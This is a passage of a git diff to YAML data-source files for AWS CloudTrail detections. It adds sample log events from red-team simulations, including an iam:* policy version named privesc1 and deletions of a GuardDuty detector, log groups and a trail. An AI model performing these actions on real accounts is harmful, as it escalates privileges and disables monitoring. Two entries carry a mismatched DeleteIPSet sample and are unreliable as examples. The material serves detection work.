\"Allow\",\n \"Action\": \"iam:*\",\n \"Resource\": \"*\"\n }\n ]\n }", "setAsDefault": true}, "responseElements": {"policyVersion": {"versionId": "v2", "isDefaultVersion": true, "createDate": "Feb 23, 2021 12:02:30 AM"}}, "requestID": "fa42b4b2-f34a-4673-8f9f-b25cf1f5005a", "eventID": "33149175-90fd-4cff-a43b-408e4f848c1c", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLNWREA6ND", "userName": "bhavin_cli"}, "eventTime": "2021-02-23T00:00:16Z", "eventSource": "iam.amazonaws.com", "eventName": "CreatePolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-policy-version", "errorCode": "NoSuchEntityException", "errorMessage": "Policy arn:aws:iam::111111111111:policy/privesc1 does not exist or is not attachable.", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/privesc1", "policyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowEverything\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:*\",\n \"Resource\": \"*\"\n }\n ]\n }", "setAsDefault": true}, "responseElements": null, "requestID": "0274bd4e-61e2-471b-9c10-eb5fd92d9892", "eventID": "4a5d643f-bda4-4c67-a31d-35699c843a9e", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_createsnapshot.yml b/data_sources/aws_cloudtrail_createsnapshot.yml index e7fb77ba68..f37a75a878 100644 --- a/data_sources/aws_cloudtrail_createsnapshot.yml +++ b/data_sources/aws_cloudtrail_createsnapshot.yml @@ -118,4 +118,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:18Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateSnapshot", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "APN/1.0 HashiCorp/1.0 Terraform/1.1.2 (+https://www.terraform.io) terraform-provider-aws/3.76.1 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.157 (go1.19.3; darwin; amd64) stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d HashiCorp-terraform-exec/0.17.3", "requestParameters": {"volumeId": "vol-0363e53e12f67c9b7", "tagSpecificationSet": {"items": [{"resourceType": "snapshot", "tags": [{"key": "StratusRedTeam", "value": "true"}]}]}}, "responseElements": {"requestId": "fefed928-d461-45f0-802f-a99d94c833a8", "snapshotId": "snap-02effb3bb62786b18", "volumeId": "vol-0363e53e12f67c9b7", "status": "pending", "startTime": 1679351478226, "ownerId": "111111111111", "volumeSize": "1", "encrypted": false, "tagSet": {"items": [{"key": "StratusRedTeam", "value": "true"}]}}, "requestID": "fefed928-d461-45f0-802f-a99d94c833a8", "eventID": "2d52d141-d1e6-4d1f-a380-1461c1bf9f83", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:18Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateSnapshot", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "APN/1.0 HashiCorp/1.0 Terraform/1.1.2 (+https://www.terraform.io) terraform-provider-aws/3.76.1 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.157 (go1.19.3; darwin; amd64) stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d HashiCorp-terraform-exec/0.17.3", "requestParameters": {"volumeId": "vol-0363e53e12f67c9b7", "tagSpecificationSet": {"items": [{"resourceType": "snapshot", "tags": [{"key": "StratusRedTeam", "value": "true"}]}]}}, "responseElements": {"requestId": "fefed928-d461-45f0-802f-a99d94c833a8", "snapshotId": "snap-02effb3bb62786b18", "volumeId": "vol-0363e53e12f67c9b7", "status": "pending", "startTime": 1679351478226, "ownerId": "111111111111", "volumeSize": "1", "encrypted": false, "tagSet": {"items": [{"key": "StratusRedTeam", "value": "true"}]}}, "requestID": "fefed928-d461-45f0-802f-a99d94c833a8", "eventID": "2d52d141-d1e6-4d1f-a380-1461c1bf9f83", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletedetector.yml b/data_sources/aws_cloudtrail_deletedetector.yml index 3da7b06701..dd56ee359d 100644 --- a/data_sources/aws_cloudtrail_deletedetector.yml +++ b/data_sources/aws_cloudtrail_deletedetector.yml @@ -100,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-21T20:27:54Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteDetector", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/guardduty.delete-detector", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "123"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "1e832076-d7a8-432b-b0df-54ba62f6b62c", "eventID": "c1367a2f-8910-4e64-9256-a854d2e9f37d", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-21T20:27:54Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteDetector", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/guardduty.delete-detector", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "123"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "1e832076-d7a8-432b-b0df-54ba62f6b62c", "eventID": "c1367a2f-8910-4e64-9256-a854d2e9f37d", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deletegroup.yml b/data_sources/aws_cloudtrail_deletegroup.yml index df0f6ea77f..a4726c6075 100644 --- a/data_sources/aws_cloudtrail_deletegroup.yml +++ b/data_sources/aws_cloudtrail_deletegroup.yml @@ -104,4 +104,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::121522247101:user/bhavin_cli", "accountId": "121522247101", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-04-07T00:17:50Z", "eventSource": "iam.amazonaws.com", "eventName": "DeleteGroup", "awsRegion": "us-east-1", "sourceIPAddress": "12.12.12.20", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.delete-group", "errorCode": "NoSuchEntityException", "errorMessage": "The group with name AtomicRedTeam_Victim cannot be found.", "requestParameters": {"groupName": "AtomicRedTeam_Victim"}, "responseElements": null, "requestID": "15684d3b-a8c5-4334-a996-16619e901c17", "eventID": "ab65dca3-3d28-41f4-9f99-443606cc49fe", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "121522247101"}' +example_log: | + {"eventVersion": "1.05", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::123599847101:user/bhavin_cli", "accountId": "123599847101", "accessKeyId": "AKIAYTOGP2RLG53UIYWY", "userName": "bhavin_cli"}, "eventTime": "2020-08-05T20:29:10Z", "eventSource": "iam.amazonaws.com", "eventName": "DeleteGroup", "awsRegion": "us-east-1", "sourceIPAddress": "132.1.11.19", "userAgent": "aws-sdk-go/1.32.12 (go1.13.7; darwin; amd64) APN/1.0 HashiCorp/1.0 Terraform/0.12.12 (+https://www.terraform.io)", "requestParameters": {"groupName": "codecommit-default"}, "responseElements": null, "requestID": "b4c3783a-4f36-408f-a60f-fa8ee1d2bb9e", "eventID": "c29e93d5-4602-4b74-8fe7-499c4e9968c1", "eventType": "AwsApiCall", "recipientAccountId": "123599847101"} diff --git a/data_sources/aws_cloudtrail_deleteipset.yml b/data_sources/aws_cloudtrail_deleteipset.yml index 2b929fc575..69e017cdfc 100644 --- a/data_sources/aws_cloudtrail_deleteipset.yml +++ b/data_sources/aws_cloudtrail_deleteipset.yml @@ -100,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml index a71e3a628e..d0eed14b5f 100644 --- a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml +++ b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml @@ -101,4 +101,5 @@ fields: - vendor_account - vendor_product - vendor_region -example_log: '' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deleteloggroup.yml b/data_sources/aws_cloudtrail_deleteloggroup.yml index 40d1264161..9258625c65 100644 --- a/data_sources/aws_cloudtrail_deleteloggroup.yml +++ b/data_sources/aws_cloudtrail_deleteloggroup.yml @@ -102,4 +102,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:58:48Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogGroup", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-group", "requestParameters": {"logGroupName": "test-logs"}, "responseElements": null, "requestID": "76089b03-d749-4f83-bc0e-b857c83bba5f", "eventID": "5aba96c4-e7f9-4e4f-b5e6-49694162195d", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:58:48Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogGroup", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-group", "requestParameters": {"logGroupName": "test-logs"}, "responseElements": null, "requestID": "76089b03-d749-4f83-bc0e-b857c83bba5f", "eventID": "5aba96c4-e7f9-4e4f-b5e6-49694162195d", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletelogstream.yml b/data_sources/aws_cloudtrail_deletelogstream.yml index d72748b9ba..f50350e959 100644 --- a/data_sources/aws_cloudtrail_deletelogstream.yml +++ b/data_sources/aws_cloudtrail_deletelogstream.yml @@ -103,4 +103,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:09:51Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogStream", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-stream", "requestParameters": {"logGroupName": "test-logs", "logStreamName": "20150601"}, "responseElements": null, "requestID": "2d7e859e-d697-426f-8b56-c4c11c4055f3", "eventID": "561c3f4e-17ca-4438-b15d-29903baf7b13", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:09:51Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogStream", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-stream", "requestParameters": {"logGroupName": "test-logs", "logStreamName": "20150601"}, "responseElements": null, "requestID": "2d7e859e-d697-426f-8b56-c4c11c4055f3", "eventID": "561c3f4e-17ca-4438-b15d-29903baf7b13", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml index ba68f113f1..23f52e84fe 100644 --- a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml @@ -101,4 +101,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T09:26:26Z", "eventSource": "ec2.amazonaws.com", "eventName": "DeleteNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 40, "egress": false}, "responseElements": {"requestId": "607474bb-836b-46be-be4a-351ebbef67d6", "_return": true}, "requestID": "607474bb-836b-46be-be4a-351ebbef67d6", "eventID": "b9e05770-e9b0-4ba1-91e8-6537097e06e7", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:38:45Z", "eventSource": "ec2.amazonaws.com", "eventName": "DeleteNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 10, "egress": false}, "responseElements": {"requestId": "a8933bc1-84bd-4136-b454-231eae791332", "_return": true}, "requestID": "a8933bc1-84bd-4136-b454-231eae791332", "eventID": "5e704453-b06d-4c6d-bbee-ba7b6f7307e9", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_deletepolicy.yml b/data_sources/aws_cloudtrail_deletepolicy.yml index 633101953f..2c8111db8c 100644 --- a/data_sources/aws_cloudtrail_deletepolicy.yml +++ b/data_sources/aws_cloudtrail_deletepolicy.yml @@ -102,4 +102,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::151521547504:user/bhavin_cli", "accountId": "151521547504", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-04-02T18:01:00Z", "eventSource": "iam.amazonaws.com", "eventName": "DeletePolicy", "awsRegion": "us-east-1", "sourceIPAddress": "61.25.42.212", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.delete-policy", "errorCode": "NoSuchEntityException", "errorMessage": "Policy arn:aws:iam::151521547504:policy/AtomicRedTeam was not found.", "requestParameters": {"policyArn": "arn:aws:iam::151521547504:policy/AtomicRedTeam"}, "responseElements": null, "requestID": "90cbe52f-e744-4bba-9f5c-1843c9ca1855", "eventID": "abd071bf-0a38-4fab-af4a-5eee55f0935e", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "151521547504"}' +example_log: | + {"eventVersion": "1.05", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::151521547504:user/bhavin_cli", "accountId": "151521547504", "accessKeyId": "AKIAYTOGP2RLG53UIYWY", "userName": "bhavin_cli"}, "eventTime": "2020-08-05T20:29:10Z", "eventSource": "iam.amazonaws.com", "eventName": "DeletePolicy", "awsRegion": "us-east-1", "sourceIPAddress": "61.25.42.212", "userAgent": "aws-sdk-go/1.32.12 (go1.13.7; darwin; amd64) APN/1.0 HashiCorp/1.0 Terraform/0.12.12 (+https://www.terraform.io)", "requestParameters": {"policyArn": "arn:aws:iam::151521547504:policy/default/codecommit-policy-default"}, "responseElements": null, "requestID": "588a73f2-b3d9-4a4c-af35-d7f308282ef2", "eventID": "9c172c7c-6da8-463b-a576-61c67c19fee3", "eventType": "AwsApiCall", "recipientAccountId": "151521547504"} diff --git a/data_sources/aws_cloudtrail_deleterule.yml b/data_sources/aws_cloudtrail_deleterule.yml index 4d4734121d..c6d7b37d06 100644 --- a/data_sources/aws_cloudtrail_deleterule.yml +++ b/data_sources/aws_cloudtrail_deleterule.yml @@ -107,4 +107,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:40:42Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteRule", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-rule", "requestParameters": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f", "ruleId": "5a9b1c4a-a999-4bb2-9f51-555f086ff34f"}, "responseElements": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f"}, "requestID": "2089be3e-28ea-4349-b505-db72c81c272a", "eventID": "0f815483-f6bb-42d9-b870-0dcc64ddc9a4", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:40:42Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteRule", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-rule", "requestParameters": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f", "ruleId": "5a9b1c4a-a999-4bb2-9f51-555f086ff34f"}, "responseElements": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f"}, "requestID": "2089be3e-28ea-4349-b505-db72c81c272a", "eventID": "0f815483-f6bb-42d9-b870-0dcc64ddc9a4", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deleterulegroup.yml b/data_sources/aws_cloudtrail_deleterulegroup.yml index b70b8ef49b..e660b861a6 100644 --- a/data_sources/aws_cloudtrail_deleterulegroup.yml +++ b/data_sources/aws_cloudtrail_deleterulegroup.yml @@ -101,4 +101,5 @@ fields: - vendor_account - vendor_product - vendor_region -example_log: '' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deletetrail.yml b/data_sources/aws_cloudtrail_deletetrail.yml index b24ce9457d..ce3ad55f60 100644 --- a/data_sources/aws_cloudtrail_deletetrail.yml +++ b/data_sources/aws_cloudtrail_deletetrail.yml @@ -100,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-13T19:03:51Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "DeleteTrail", "awsRegion": "us-west-2", "sourceIPAddress": "192.184.242.57", "userAgent": "aws-cli/2.0.62 Python/3.9.2 